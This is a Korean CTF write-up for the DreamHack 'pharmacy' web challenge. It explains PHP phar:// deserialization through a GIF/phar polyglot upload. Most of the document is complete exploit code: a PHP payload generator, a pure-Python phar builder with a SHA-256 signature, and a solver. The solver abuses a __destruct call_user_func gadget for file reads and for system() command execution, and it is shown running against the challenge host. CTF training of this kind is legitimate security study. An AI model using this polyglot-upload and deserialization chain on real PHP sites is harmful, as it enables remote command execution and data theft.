문제: DreamHack — pharmacy 분류: web 난이도: 🥈 Silver 1 FLAG:
DH{e4feb78a946278a94a4395c24371c5a4e04ba99db49c7e7257c3547d976225e5}

"처방전을 gif 로 올리라"는 페이지 하나가 전부다. 제공 파일은 Dockerfile 과 deploy/ 아래 PHP 두 장, CSS 한 장. 합쳐서 50줄이 조금 넘는다. 문제 설명은 이렇게 적혀 있다 — When things were wild, there was a good, old pharmacy... with a supermarket? 약국에 웬 슈퍼마켓인가 싶은데, 소스를 열어 보면 supermarket.php 라는 파일이 정말로 있고 그 안에 쓰이지도 않는 클래스가 하나 들어 있다.
그 클래스가 전부다. PHP 에서 phar:// 스트림 래퍼는 경로처럼 생겼지만 실제로는 unserialize() 의 입구고, 아카이브 안에 심어 둔 객체는 요청이 끝날 때 소멸자를 통해 깨어난다. 업로드 필터는 GIF 매직 네 글자로 넘고, 소멸자를 깨우는 스위치는 HTML 폼 어디에도 없는 POST 파라미터 하나다.
문제 개요
| 항목 | 내용 |
|---|---|
| 문제명 | pharmacy |
| 난이도 | 🥈 Silver 1 |
| 분류 | web |
| 출제 | Dreamhack CTF Season 5 Round #10 (🌱Div2) |
| 스택 | PHP 7.4.33 · Apache 2.4 · Docker (php:7.4-apache) |
| 제공 파일 | Dockerfile · deploy/run.sh · deploy/src/index.php · deploy/src/supermarket.php · style.css |
| 핵심 취약점 | file_exists('phar://' . $업로드파일) → phar manifest metadata 역직렬화 → __destruct 의 call_user_func |
풀이 흐름은 세 단계다. GIF 로 보이는 phar 아카이브를 만들고, 그 metadata 에 Supermarket 객체를 직렬화해 심고, 폼에 없는 emergent 파라미터를 붙여 올린다.
🧩 배경 — phar:// 는 경로가 아니라 역직렬화 입구다
PHP 의 Phar(PHP Archive)는 자바의 jar 같은 것이다. 스크립트와 리소스를 한 파일로 묶어 배포하라고 만들어졌고, phar:// 스트림 래퍼로 내부 파일에 접근한다. 여기까지는 평범한 아카이브 포맷이다.
문제는 phar 가 아카이브 전체에 대한 메타데이터를 들고 다닌다는 것, 그리고 그 메타데이터가 serialize() 로 직렬화돼 저장된다는 것이다. PHP 가 phar 를 열 때 그 구간을 unserialize() 한다. 아카이브 안의 파일을 하나도 꺼내지 않아도, 그냥 존재하는지만 물어봐도 열기는 열어야 하므로 역직렬화가 일어난다.
그래서 file_exists, is_file, filesize, md5_file, getimagesize, fopen 처럼 경로를 받는 함수 거의 전부가 phar:// 를 통하면 역직렬화 트리거가 된다. 2018년 Sam Thomas 가 BlackHat 에서 발표한 이래 잘 알려진 기법인데, "역직렬화 취약점은 unserialize() 를 호출하는 코드에만 있다"는 통념을 깨뜨린 게 요점이다. 이 문제의 index.php 에는 unserialize 라는 글자가 한 번도 나오지 않는다.
역직렬화된 객체는 그 자체로는 아무것도 하지 않는다. 깨우려면 매직 메서드가 필요하다. __wakeup, __destruct, __toString 같은 것들인데, 이 문제는 가장 단순한 __destruct 를 쓴다. 요청이 끝나고 객체가 수거될 때 자동으로 불린다.
아래는 실제로 내가 만들어 서버에 올린 238바이트 파일의 배치다. 오프셋은 뒤에서 parse_phar.py 로 직접 읽어낸 값 그대로다.

🔬 코드 정찰 — 50줄이 거는 네 개의 문
index.php 의 업로드 처리부는 이게 전부다.
$targetDirectory = "uploads/";
$uploadOK = 1;
if( isset($_POST["submit"])) {
echo '<pre class="file-upload-form">';
$tmpFile = $_FILES["fileToUpload"]["tmp_name"];
$currentFile = $_FILES["fileToUpload"]["name"];
$fileExtension = strtolower(pathinfo($currentFile, PATHINFO_EXTENSION));
if (mime_content_type($tmpFile) !== "image/gif" || $fileExtension !== "gif") {
echo "Prescription not gif!\n";
$uploadOK = 0;
}
if ($uploadOK == 0) {
echo "Prescription upload failed.\n";
} else {
$randomFileName = bin2hex(random_bytes(16));
$targetFile = $targetDirectory . $randomFileName . "." . $fileExtension;
if (move_uploaded_file($tmpFile, $targetFile)) {
if (isset($_POST['emergent']))
$targetFile = 'phar://' . $targetFile;
else
$targetFile = $targetFile;
if (file_exists($targetFile)) {
echo "Prescription submitted!\n";
}
} else {
echo "Prescription upload failed.\n";
}
}
echo '</pre>';
}통과해야 할 문이 네 개다.
mime_content_type($tmpFile)이 정확히image/gif일 것 — 파일 내용을 본다.- 원본 파일명의 확장자가
gif일 것 — 파일 이름을 본다. isset($_POST['emergent'])가 참일 것 — 그래야phar://가 앞에 붙는다.file_exists()가 그 경로를 실제로 열 수 있을 것 — 즉 올린 파일이 유효한 phar 일 것.
1번과 2번이 같은 if 안에서 OR 로 묶여 있어 실패 메시지가 구분되지 않는다. 확장자가 틀려도, 매직이 틀려도 똑같이 Prescription not gif! 다. 어느 문에서 막혔는지 응답만 보고는 알 수 없다.
그리고 supermarket.php. index.php 첫 줄의 require 로 항상 로드되지만, 정의된 함수도 클래스도 어디서도 호출되지 않는다.
<?php
function goodbye($customer) {
echo "Good bye, $customer!\n";
}
class Supermarket {
public $greet = 'goodbye';
public $customer = 'dream';
function __destruct() {
call_user_func($this->greet, $this->customer);
}
}
?>__destruct 안에서 call_user_func($this->greet, $this->customer). 두 프로퍼티가 모두 public 이고 둘 다 우리가 직렬화 문자열로 정할 수 있다. 가젯으로서는 거의 교과서적인 모양이다. 기본값(goodbye, dream)대로면 Good bye, dream! 을 찍고 끝나지만, greet 를 readfile 로 customer 를 /flag.txt 로 바꾸면 그대로 파일 읽기가 된다.
그런데 이 클래스를 깨우려면 누군가 Supermarket 객체를 역직렬화해야 한다. index.php 어디에도 unserialize 는 없다. 있는 건 file_exists('phar://' . $targetFile) 한 줄뿐이고, 그게 바로 역직렬화다.
브라우저로 폼의 HTML 원본을 보면 입력 칸이 둘밖에 없다. fileToUpload 와 submit. emergent 는 사람이 직접 만들어 보내야 하는 파라미터다.
# view-source: 로 열면 렌더된 HTML 원본이 그대로 보인다
view-source:http://host3.dreamhack.games:12778/index.php
정상적인 GIF 를 그냥 올리면 어떻게 되는지부터 봤다. 업로드 자체는 막히지 않는다.


Prescription submitted! 가 찍힌다. 파일은 uploads/ 아래 어딘가에 저장됐다. 그런데 그 파일을 다시 집을 방법이 없다.
$randomFileName = bin2hex(random_bytes(16));
$targetFile = $targetDirectory . $randomFileName . "." . $fileExtension;파일명이 CSPRNG 16바이트의 16진수다. 탐색 공간이 2의 128제곱이라 추측은 논외고, uploads/ 디렉토리는 인덱싱이 막혀 있다. 즉 "웹셸을 올려 두고 나중에 호출한다"는 흔한 경로가 설계 단계에서 닫혀 있다. 트리거는 업로드와 같은 요청 안에 있는 file_exists() 한 번뿐이고, 그 한 번을 phar:// 로 만드는 게 emergent 다.
🐛 삽질 — 네 개의 문을 하나씩 두드려 보기
막다른 길들 — 확장자·매직·서명·파라미터를 각각 하나씩 틀려 보고 서버 반응을 받아 적었다 (클릭)
"이건 안 된다"를 추측으로 쓰지 않으려고, 조건을 하나씩만 어긋나게 한 요청을 여덟 개 만들어 실제로 던졌다. 로컬 재현 컨테이너를 상대로 돌린 것이다.
#!/usr/bin/env python3
"""
pharmacy — 막다른 길을 실제로 때려 보고 서버가 뭐라 하는지 받아 적는다.
글에 "이건 안 된다"고 쓰려면 추측이 아니라 응답이 근거여야 한다.
사용법: python3 deadends.py http://127.0.0.1:18080/
"""
import hashlib
import struct
import sys
import urllib.error
import urllib.request
sys.path.insert(0, __import__("os").path.dirname(__import__("os").path.abspath(__file__)))
from solve import build_phar, php_serialize_supermarket, multipart, GIF_MAGIC
BASE = sys.argv[1].rstrip("/")
def upload(filedata, filename, emergent=True, extra=None):
fields = {"submit": "upload"}
if emergent:
fields["emergent"] = "1"
if extra:
fields.update(extra)
boundary, body = multipart(fields, "fileToUpload", filename, filedata)
req = urllib.request.Request(BASE + "/index.php", data=body, method="POST",
headers={"Content-Type":
f"multipart/form-data; boundary={boundary}"})
html = urllib.request.urlopen(req, timeout=20).read().decode("utf-8", "replace")
# ★ "else 면 통과" 로 두면 안 된다 — file_exists() 가 false 라서 아무 문구도
# 안 찍히는 경우가 있고, 그걸 통과로 오판한다(서명 훼손 케이스에서 실제로 걸렸다).
verdict = ("거부: Prescription not gif" if "not gif" in html else
"업로드 실패" if "upload failed" in html else
"통과: Prescription submitted" if "Prescription submitted" in html else
"업로드는 됐지만 file_exists()=false (무출력)")
tail = (html.split("</html>", 1)[1] if "</html>" in html else "").strip()
return verdict, tail
def line(label, verdict, tail):
got = f"가젯 실행됨 → {tail!r}" if tail else "가젯 미실행(출력 없음)"
print(f"{label:<44} | {verdict:<30} | {got}")
md = php_serialize_supermarket("readfile", "/flag.txt")
good_phar = build_phar(md, [("prescription.txt", b"pharmacy\n")])
print(f"{'시도':<44} | {'업로드 판정':<30} | 결과")
print("-" * 118)
# 1) 확장자를 .php 로 — 웹셸을 올리려는 가장 흔한 첫 시도
line("① .php 확장자 (웹셸 업로드)", *upload(good_phar, "shell.php"))
# 2) 확장자를 .phar 로 — phar 니까 .phar 여야 할 것 같지만
line("② .phar 확장자", *upload(good_phar, "exploit.phar"))
# 3) GIF 매직 없는 순수 phar — mime 검사에서 걸린다
plain = good_phar.replace(GIF_MAGIC, b"", 1)
plain = plain[:len(plain)] # 스텁만 바꾼 것이라 서명이 깨지지만 mime 에서 먼저 막힌다
line("③ GIF 매직 없는 phar(.gif 이름)", *upload(plain, "x.gif"))
# 4) 진짜 GIF (phar 아님) — mime 은 통과하지만 열 게 없다
real_gif = (b"GIF89a" + b"\x01\x00\x01\x00\x80\x00\x00"
+ b"\x21\xf9\x04\x01\x00\x00\x00\x00\x2c\x00\x00\x00\x00"
+ b"\x01\x00\x01\x00\x00\x02\x02\x44\x01\x00\x3b")
line("④ 진짜 1x1 GIF (phar 아님)", *upload(real_gif, "cat.gif"))
# 5) emergent 없이 올바른 phar — phar:// 가 안 붙어 역직렬화가 안 걸린다
line("⑤ 올바른 phar · emergent 파라미터 없음", *upload(good_phar, "rx.gif", emergent=False))
# 6) 존재하지 않는 클래스를 metadata 에 — __PHP_Incomplete_Class 가 되어 가젯이 없다
bogus = b'O:9:"NoSuchCls":1:{s:1:"a";s:1:"b";}'
line("⑥ metadata 가 미정의 클래스", *upload(build_phar(bogus, [("a.txt", b"a")]), "rx.gif"))
# 7) SHA256 서명을 한 바이트 깨뜨린 phar — PHP 가 열기를 거부한다
broken = bytearray(good_phar)
broken[-10] ^= 0xFF
line("⑦ 서명 1바이트 훼손", *upload(bytes(broken), "rx.gif"))
# 8) __HALT_COMPILER(); 가 없는 파일 — phar 로 인식되지 않는다
nohalt = good_phar.replace(b"__HALT_COMPILER();", b"__HALT_COMPILERX();", 1)
line("⑧ __HALT_COMPILER() 토큰 훼손", *upload(nohalt, "rx.gif"))
# 9) 업로드된 파일을 두 번째 요청으로 다시 집을 수 있나 (난수 파일명 16바이트)
print("-" * 118)
for path in ("/uploads/", "/uploads/placeholder", "/uploads/" + "00" * 16 + ".gif"):
try:
r = urllib.request.urlopen(BASE + path, timeout=10)
body = r.read()
print(f"GET {path:<42} → HTTP {r.status} {len(body)}바이트")
except urllib.error.HTTPError as e:
print(f"GET {path:<42} → HTTP {e.code} {e.reason}")
print(f"{'난수 파일명 탐색 공간':<46} → bin2hex(random_bytes(16)) = 2^128 (추측 불가)")python3 deadends.py http://127.0.0.1:18080/
읽어 보면 네 종류로 갈린다.
- ①②③ —
Prescription not gif!: 확장자를php나phar로 바꾸면 내용이 멀쩡한 phar 여도 막힌다. 반대로 GIF 매직 없는 순수 phar 는 이름을.gif로 해도 막힌다. 응답 문구가 같아 어느 쪽인지 구분이 안 된다. - ④⑦⑧ — 업로드는 됐는데 아무 문구도 안 찍힘: 진짜 GIF, 서명을 1바이트 깨뜨린 phar,
__HALT_COMPILER()토큰을 망가뜨린 phar. 셋 다file_exists()가false를 반환해Prescription submitted!조차 안 나온다. 경고도 없다 — phar 가 조용히 열기를 거부한다. - ⑤ —
Prescription submitted!만 찍힘: 올바른 phar 인데emergent를 안 보낸 경우.phar://가 안 붙으니 평범한 파일 존재 확인으로 끝난다. - ⑥ —
Prescription submitted!만 찍힘: metadata 에 정의되지 않은 클래스(NoSuchCls)를 넣은 경우. phar 는 정상적으로 열리고 역직렬화도 일어나지만, 그 클래스가 서버에 없으니__PHP_Incomplete_Class가 되고 소멸자가 없다. 아카이브는 열렸는데 가젯이 없는 것이다.
⑤와 ⑥이 같은 응답을 내는 게 이 문제의 구조를 잘 보여준다. 응답으로는 "역직렬화가 일어났는지"를 알 수 없고, 출력이 나오는 건 오직 가젯이 실제로 뭔가를 echo 했을 때뿐이다.
판정 로직을 짤 때 한 번 틀렸던 부분도 적어 둔다. 처음에는 not gif 도 upload failed 도 아니면 전부 "통과"로 분류했는데, ④⑦⑧처럼 업로드는 됐지만 file_exists() 가 false 라 아무 문구도 안 찍히는 경우가 그 else 로 떨어져 통과로 오판됐다. Prescription submitted 문자열을 직접 확인하도록 고치고 나서야 표가 맞아떨어졌다.
확장자를 php 로 바꾼 ① 은 브라우저로도 한 번 더 확인했다. 내용은 유효한 phar 그대로이고 이름만 shell.php 다.

💣 핵심 — GIF8 네 글자와 metadata 81바이트
두 번째 문(확장자)은 파일 이름을 prescription.gif 로 하면 끝이다. 첫 번째 문(mime_content_type)이 진짜 관문처럼 보이는데, 실제로는 생각보다 느슨하다.
mime_content_type() 은 libmagic 을 쓴다. GIF 판정 규칙은 파일 맨 앞 네 글자가 GIF8 인지 보는 게 사실상 전부다. 어디까지 느슨한지 궁금해서 서버와 같은 PHP 7.4 컨테이너 안에서 경계를 재 봤다.
<?php
/* mime_content_type() 이 무엇을 보고 image/gif 라 하는지 경계를 실측한다.
(PHP 7.4 컨테이너 안에서 돌린다 — 서버와 같은 libmagic 이어야 의미가 있다) */
$halt = "<?php __HALT_COMPILER(); ?>\r\n";
$cases = [
'매직 없음 (순수 PHP 스텁)' => $halt,
'"GIF8" 네 글자만' => "GIF8" . $halt,
'"GIF89a" 여섯 글자만' => "GIF89a" . $halt,
'"GIF87a" 여섯 글자만' => "GIF87a" . $halt,
'GIF89a + 가로세로 1x1 + GCT' => "GIF89a\x01\x00\x01\x00\x80\x00\x00" . $halt,
'GIF89a + 가로세로 0x0' => "GIF89a\x00\x00\x00\x00\x80\x00\x00" . $halt,
'앞에 한 바이트 끼움' => "\x00GIF89a\x01\x00\x01\x00\x80\x00\x00" . $halt,
];
foreach ($cases as $label => $bytes) {
$f = tempnam('/tmp', 'mime');
file_put_contents($f, $bytes);
printf("%-34s → %-24s %s\n", $label, mime_content_type($f),
preg_match('/^image\/gif$/', mime_content_type($f)) ? '통과' : '거부');
unlink($f);
}docker run --rm -v "$PWD":/work:ro pharmacy-local php /work/probe_mime.php
네 글자면 충분하고, 가로세로 값은 0이어도 상관없다. 대신 반드시 오프셋 0 이어야 한다 — 앞에 한 바이트만 끼워도 application/octet-stream 으로 떨어진다. 매직을 안 붙인 순수 phar 스텁은 text/x-php 로 판정된다.
여기서 phar 포맷의 성질이 맞물린다. phar 의 스텁은 __HALT_COMPILER(); 토큰만 들어 있으면 되고, 그 앞에 무엇이 오든 상관하지 않는다. PHP 는 파일에서 그 토큰을 찾아 이후를 아카이브 본문으로 읽는다. 그러니 스텁 맨 앞에 GIF 매직을 붙이면 같은 파일이 libmagic 에게는 GIF 이고 PHP 에게는 phar 다.
실제 페이로드 생성기는 이렇게 썼다. Phar 클래스는 확장자가 .phar 가 아니면 생성을 거부하므로, 임시 경로에 만든 뒤 .gif 로 복사한다.
<?php
/*
* pharmacy (Dreamhack, Silver 1) — PHAR 역직렬화 페이로드 생성기
*
* supermarket.php 의 가젯:
* class Supermarket { public $greet='goodbye'; public $customer='dream';
* function __destruct(){ call_user_func($this->greet,$this->customer); } }
*
* 이 객체를 phar 메타데이터에 심어 두면, index.php 가 file_exists('phar://...') 를
* 부르는 순간 메타데이터가 unserialize 되고 요청이 끝날 때 __destruct 가 돈다.
*
* 사용법: php -d phar.readonly=0 gen_phar.php <출력파일.gif> <함수> <인자>
* 예 : php -d phar.readonly=0 gen_phar.php exploit.gif readfile /flag.txt
* php -d phar.readonly=0 gen_phar.php exploit.gif system 'cat /flag.txt'
*/
class Supermarket {
public $greet;
public $customer;
public function __construct($greet, $customer) {
$this->greet = $greet;
$this->customer = $customer;
}
}
$out = $argv[1] ?? 'exploit.gif';
$func = $argv[2] ?? 'readfile';
$arg = $argv[3] ?? '/flag.txt';
// Phar 는 확장자가 .phar 여야 생성을 허용한다 → 만든 뒤 .gif 로 옮긴다
$tmp = sys_get_temp_dir() . '/pharmacy_' . bin2hex(random_bytes(4)) . '.phar';
@unlink($tmp);
$phar = new Phar($tmp);
$phar->startBuffering();
// mime_content_type() 이 image/gif 로 판정하도록 스텁 앞에 GIF 매직을 붙인다.
// 가로/세로 필드까지 채워 libmagic 이 온전한 GIF 로 읽게 한다.
$phar->setStub("GIF89a" . "\x01\x00\x01\x00\x80\x00\x00" . "<?php __HALT_COMPILER(); ?>");
$phar->setMetadata(new Supermarket($func, $arg));
$phar->addFromString('prescription.txt', "pharmacy\n");
$phar->stopBuffering();
copy($tmp, $out);
@unlink($tmp);
printf("WROTE %s (%d bytes)\n", $out, filesize($out));
printf(" metadata = Supermarket{greet=%s, customer=%s}\n", $func, $arg);
printf(" magic = %s\n", bin2hex(substr(file_get_contents($out), 0, 6)));
printf(" mime = %s\n", mime_content_type($out));php -d phar.readonly=0 gen_phar.php exploit.gif readfile /flag.txtphar.readonly 는 기본값이 1 이라 끄지 않으면 생성이 안 된다. 참고로 문제 서버 쪽은 1 그대로다 — 읽기 전용이어도 phar 를 읽는 건 막지 못한다는 게 이 기법이 자주 간과되는 이유다.
만들어진 파일을 file 과 xxd 로 들여다보면 두 포맷이 한 파일에 겹쳐 있는 게 그대로 보인다.
file capture_assets/prescription.gif && xxd -l 160 capture_assets/prescription.gif
file 은 "GIF image data, version 89a, 1 x 1" 이라고 답한다. 그런데 같은 덤프 안에 __HALT_COMPILER(); 가 있고, 0x40 부터는 O:11:"Supermarket":2:{s:5:"greet";s:8:"readfile";... 가 평문으로 들어 있다. 직렬화 문자열은 암호화되지 않으므로 그냥 읽힌다.
manifest 의 각 필드가 실제로 어떤 값인지 확인하려고 파서를 하나 짰다. 뒤에서 이 포맷을 파이썬으로 직접 만들 거라 오프셋을 정확히 알아야 했다.
#!/usr/bin/env python3
"""생성된 phar 를 바이트 단위로 해부해 manifest 필드를 확인한다 (포맷 역설계용)."""
import struct, sys, zlib
data = open(sys.argv[1], 'rb').read()
tok = b'__HALT_COMPILER();'
i = data.find(tok) + len(tok)
while i < len(data) and data[i:i+1] in (b' ', b'?', b'>', b'\r', b'\n'):
i += 1
print(f"stub : 0~{i} ({i}바이트) {data[:6]!r}...")
u32 = lambda o: struct.unpack_from('<I', data, o)[0]
u16 = lambda o: struct.unpack_from('<H', data, o)[0]
mlen = u32(i); print(f"manifest_len : {mlen} @0x{i:x}")
nfiles = u32(i+4); print(f"num_files : {nfiles}")
print(f"api_version : 0x{u16(i+8):04x} (raw {data[i+8:i+10].hex()})")
gflags = u32(i+10); print(f"global_flags : 0x{gflags:08x}")
alen = u32(i+14); print(f"alias_len : {alen} {data[i+18:i+18+alen]!r}")
o = i+18+alen
mdlen = u32(o); print(f"metadata_len : {mdlen}")
print(f"metadata : {data[o+4:o+4+mdlen]!r}")
o += 4+mdlen
for n in range(nfiles):
flen = u32(o); name = data[o+4:o+4+flen]; o += 4+flen
usz, ts, csz, crc, ff = struct.unpack_from('<IIIII', data, o); o += 20
fmd = u32(o); o += 4+fmd
print(f" file[{n}] name={name!r} usize={usz} mtime={ts} csize={csz} crc=0x{crc:08x} flags=0o{ff:o}")
end_manifest = i+4+mlen
print(f"manifest 끝 : 0x{end_manifest:x} (계산 커서 0x{o:x})")
body_end = end_manifest
for n in range(nfiles):
pass
print(f"꼬리 16바이트 : {data[-16:].hex()} magic={data[-4:]!r} sigtype={u32(len(data)-8)}")
sigtype = u32(len(data)-8)
siglen = {1:16, 2:20, 3:32, 4:64}[sigtype]
signed = data[:len(data)-8-siglen]
import hashlib
algo = {1:"md5", 2:"sha1", 3:"sha256", 4:"sha512"}[sigtype]
calc = hashlib.new(algo, signed).digest()
print(f"sig_type={sigtype}({algo}) 저장값일치={calc == data[len(data)-8-siglen:len(data)-8]}")python3 parse_phar.py capture_assets/prescription.gif
읽어낸 값들을 정리하면 이렇다.
| 필드 | 값 | 비고 |
|---|---|---|
| 스텁 | 0x00 – 0x29 (42바이트) | GIF89a + 치수 7바이트 + <?php __HALT_COMPILER(); ?> + CRLF |
| manifest 길이 | 143 | 이 필드 뒤부터 파일 목록 끝까지 |
| api 버전 | 0x0011 | phar 1.1.0 |
| global flags | 0x00010000 | 서명이 붙어 있다는 비트 |
| metadata 길이 | 81 | Supermarket 직렬화 문자열의 길이 |
| 서명 타입 | 3 (sha256) | 꼬리 4바이트는 GBMB 매직 |
서명이 중요하다. PHP 는 phar 를 열 때 서명을 검증하고, 1바이트만 어긋나도 조용히 열기를 거부한다(위 삽질 토글의 ⑦번). 그래서 phar 를 손으로 만들려면 서명까지 제대로 계산해야 한다.
🎯 익스플로잇 — 폼에 없는 칸을 브라우저에서 만들어 붙이기
emergent 는 HTML 에 없으니 브라우저만으로 보내려면 폼에 칸을 하나 끼워 넣어야 한다. 서버는 POST 본문만 보므로, 개발자 도구나 짧은 스크립트로 입력 칸을 추가하면 그만이다. 캡쳐에서는 그 칸이 보이도록 type=hidden 대신 보통 텍스트 칸으로 넣었다.
// 폼에 emergent 칸을 눈에 보이게 끼워 넣는다 (서버는 POST 본문만 본다)
const f = document.querySelector('form.file-upload-form');
const wrap = document.createElement('div');
wrap.innerHTML = '<label style="color:#c0392b;font-weight:bold">emergent '
+ '<input name="emergent" value="1" class="file-upload-input" style="width:60px"></label>';
f.insertBefore(wrap, f.querySelector('.file-upload-button'));
이 상태로 upload 를 누르면 file_exists('phar://uploads/<난수>.gif') 가 아카이브를 열고, metadata 의 Supermarket 이 복원되고, 요청이 끝날 때 소멸자가 readfile('/flag.txt') 를 부른다. 출력은 __destruct 시점에 나오므로 </html> 뒤에 붙는다.

🚀 Full Exploit — PHP 없이 파이썬으로 phar 를 짓는다
gen_phar.php 로도 충분히 풀리지만, 공격자 쪽에 PHP 와 phar.readonly=0 이 필요하다는 게 걸렸다. manifest 구조를 위에서 다 읽어냈으니 파이썬으로 직접 조립하는 쪽이 재현하기에도 낫다. 서명(sha256)과 GBMB 꼬리까지 포함해 220줄짜리 한 파일로 만들었다. 외부 패키지를 쓰지 않는다 — struct·hashlib·binascii·urllib 만 쓰므로 파이썬 3.8 이상이면 pip install 없이 그대로 돈다(내 환경은 Python 3.13.7 · Ubuntu 25.10). multipart 본문도 직접 조립한다.
#!/usr/bin/env python3
"""
pharmacy (Dreamhack, Silver 1 / web) — PHAR 역직렬화로 /flag.txt 읽기
index.php 가 하는 일
1) mime_content_type($tmp) === "image/gif" AND 확장자 === "gif"
2) uploads/<random_bytes(16) 16진수>.gif 로 move_uploaded_file
3) POST 에 emergent 가 있으면 $targetFile = 'phar://' . $targetFile
4) file_exists($targetFile)
4번이 phar:// 라면 PHP 는 아카이브를 열어 manifest 의 metadata 를 unserialize 한다.
supermarket.php 에 __destruct 가 call_user_func($this->greet, $this->customer) 인
Supermarket 이 있으므로, metadata 에 그 객체를 심어 두면 요청이 끝날 때 호출된다.
파일명이 매 요청 난수라 두 번째 요청으로는 접근할 수 없다 → 트리거는 같은 요청 안의 3·4번뿐이다.
phar 아카이브를 PHP 없이 순수 파이썬으로 만든다(스텁 앞에 GIF 매직을 붙여 1번을 통과).
사용법:
python3 solve.py http://host1.dreamhack.games:PORT/
python3 solve.py http://127.0.0.1:18080/ --gadget system --arg 'id; cat /flag.txt'
"""
import argparse
import binascii
import hashlib
import re
import struct
import sys
import urllib.request
# ── phar 포맷 ───────────────────────────────────────────────────────────────────
# [stub][manifest][파일 본문][signature][sig_type u32]["GBMB"]
# manifest = u32 manifest_len | u32 num_files | u16 api_ver | u32 global_flags
# u32 alias_len + alias | u32 metadata_len + metadata
# 파일마다: u32 name_len + name | u32 usize | u32 mtime | u32 csize
# u32 crc32 | u32 flags(퍼미션) | u32 file_metadata_len + md
PHAR_API_VERSION = b"\x11\x00" # 1.1.0
PHAR_HDR_SIGNATURE = 0x00010000 # global_flags 의 "서명 있음" 비트
PHAR_SIG_SHA256 = 3
# mime_content_type() 이 image/gif 로 보게 만드는 머리.
# GIF89a + 가로 1 · 세로 1 · GCT 플래그 — libmagic 이 온전한 GIF 헤더로 읽는다.
GIF_MAGIC = b"GIF89a" + b"\x01\x00\x01\x00\x80\x00\x00"
STUB = GIF_MAGIC + b"<?php __HALT_COMPILER(); ?>\r\n"
def php_serialize_supermarket(greet: str, customer: str) -> bytes:
"""PHP 의 serialize(new Supermarket) 출력을 직접 만든다 (public 프로퍼티 2개)."""
g, c = greet.encode(), customer.encode()
return (b'O:11:"Supermarket":2:'
b'{s:5:"greet";s:%d:"%s";s:8:"customer";s:%d:"%s";}'
% (len(g), g, len(c), c))
def build_phar(metadata: bytes, entries) -> bytes:
"""metadata(직렬화된 PHP 객체) 를 품은 phar 아카이브 바이트열을 만든다."""
body = b""
files = b""
for name, content in entries:
name_b = name.encode()
files += struct.pack("<I", len(name_b)) + name_b
files += struct.pack("<IIIII",
len(content), # 원본 크기
0, # mtime
len(content), # 압축 크기(무압축)
binascii.crc32(content) & 0xFFFFFFFF,
0o664) # 퍼미션 비트
files += struct.pack("<I", 0) # 파일별 metadata 없음
body += content
manifest = (struct.pack("<I", len(entries))
+ PHAR_API_VERSION
+ struct.pack("<I", PHAR_HDR_SIGNATURE)
+ struct.pack("<I", 0) # alias 없음
+ struct.pack("<I", len(metadata)) + metadata
+ files)
out = STUB + struct.pack("<I", len(manifest)) + manifest + body
out += hashlib.sha256(out).digest() # PHP 가 열 때 검증한다
out += struct.pack("<I", PHAR_SIG_SHA256) + b"GBMB"
return out
# ── 업로드 ────────────────────────────────────────────────────────────────────
def multipart(fields, filefield, filename, filedata):
boundary = "----pharmacy" + hashlib.sha1(filedata).hexdigest()[:16]
buf = b""
for k, v in fields.items():
buf += (f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="{k}"\r\n\r\n{v}\r\n').encode()
buf += (f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="{filefield}"; filename="{filename}"\r\n'
f"Content-Type: image/gif\r\n\r\n").encode()
buf += filedata + f"\r\n--{boundary}--\r\n".encode()
return boundary, buf
def main():
ap = argparse.ArgumentParser()
ap.add_argument("base")
ap.add_argument("--gadget", default="readfile", help="call_user_func 의 첫 인자")
ap.add_argument("--arg", default="/flag.txt", help="call_user_func 의 두 번째 인자")
ap.add_argument("--save", default="", help="만든 phar 를 이 경로에 남긴다")
ap.add_argument("--no-emergent", action="store_true", help="대조군: phar:// 를 안 붙인다")
a = ap.parse_args()
md = php_serialize_supermarket(a.gadget, a.arg)
phar = build_phar(md, [("prescription.txt", b"pharmacy\n")])
print(f"[+] phar {len(phar)}바이트 / metadata = {md.decode()}")
if a.save:
open(a.save, "wb").write(phar)
print(f"[+] 저장: {a.save}")
fields = {"submit": "upload"}
if not a.no_emergent:
fields["emergent"] = "1" # 폼에 없는 숨은 파라미터
boundary, body = multipart(fields, "fileToUpload", "prescription.gif", phar)
url = a.base.rstrip("/") + "/index.php"
req = urllib.request.Request(url, data=body, method="POST", headers={
"Content-Type": f"multipart/form-data; boundary={boundary}"})
html = urllib.request.urlopen(req, timeout=20).read().decode("utf-8", "replace")
# __destruct 는 스크립트 종료 때 돌므로 출력이 </html> 뒤에 붙는다
tail = html.split("</html>", 1)[1] if "</html>" in html else html
print(f"[+] 업로드 응답: {'Prescription submitted!' in html and 'submitted' or 'rejected'}")
print(f"[+] </html> 이후 출력: {tail.strip()!r}")
m = re.search(r"DH\{[^}\s]*\}", html)
if m:
print(f"\nFLAG: {m.group(0)}")
return 0
if tail.strip():
# 가젯은 돌았다. 로컬 재현 컨테이너의 /flag.txt 는 'placeholder' 라 DH{} 가 아니다.
print("\n[+] 가젯 실행됨 — 다만 DH{...} 형식이 아니다(로컬 재현본은 placeholder)")
return 0
print("\n[-] 가젯이 돌지 않았다 — emergent 파라미터와 phar 유효성을 확인하라",
file=sys.stderr)
return 1
if __name__ == "__main__":
sys.exit(main())로컬 재현 컨테이너부터 돌렸다. Dockerfile 이 /flag.txt 에 placeholder 를 넣으므로, 플래그 자리에 그 문자열이 나오면 성공이다.
cd extracted && docker build -t pharmacy-local . && cd ..
docker run -d --name pharmacy-local -p 18080:80 pharmacy-local
python3 solve.py http://127.0.0.1:18080/
'placeholder' 가 나왔다. 로컬에서 체인이 끝까지 돈 것이므로 라이브로 넘어갔다.
python3 solve.py http://host3.dreamhack.games:12778/
한 번에 나왔다. 가젯이 call_user_func 이므로 readfile 자리에 system 을 넣으면 그대로 명령 실행이 된다. 파일 읽기로 끝나는 문제가 아니라는 걸 확인해 두려고 id 와 uname 을 같이 돌려 봤다.
python3 solve.py http://host3.dreamhack.games:12778/ --gadget system --arg "id; uname -sr; cat /flag.txt"
uid=33(www-data) 에 Linux 4.19.234. Apache 워커 권한으로 임의 명령이 돈다. 업로드 필터는 "gif 만 받는다"고 했고 실제로 올라간 파일은 file 이 보기에 GIF 가 맞는데, 그 안에 PHP 객체가 들어 있었던 것이다.
제출하고 나니 기록이 갱신됐다. 풀이 수가 281에서 282로 올라갔고 VM 크레딧도 환급됐다.

📝 결론
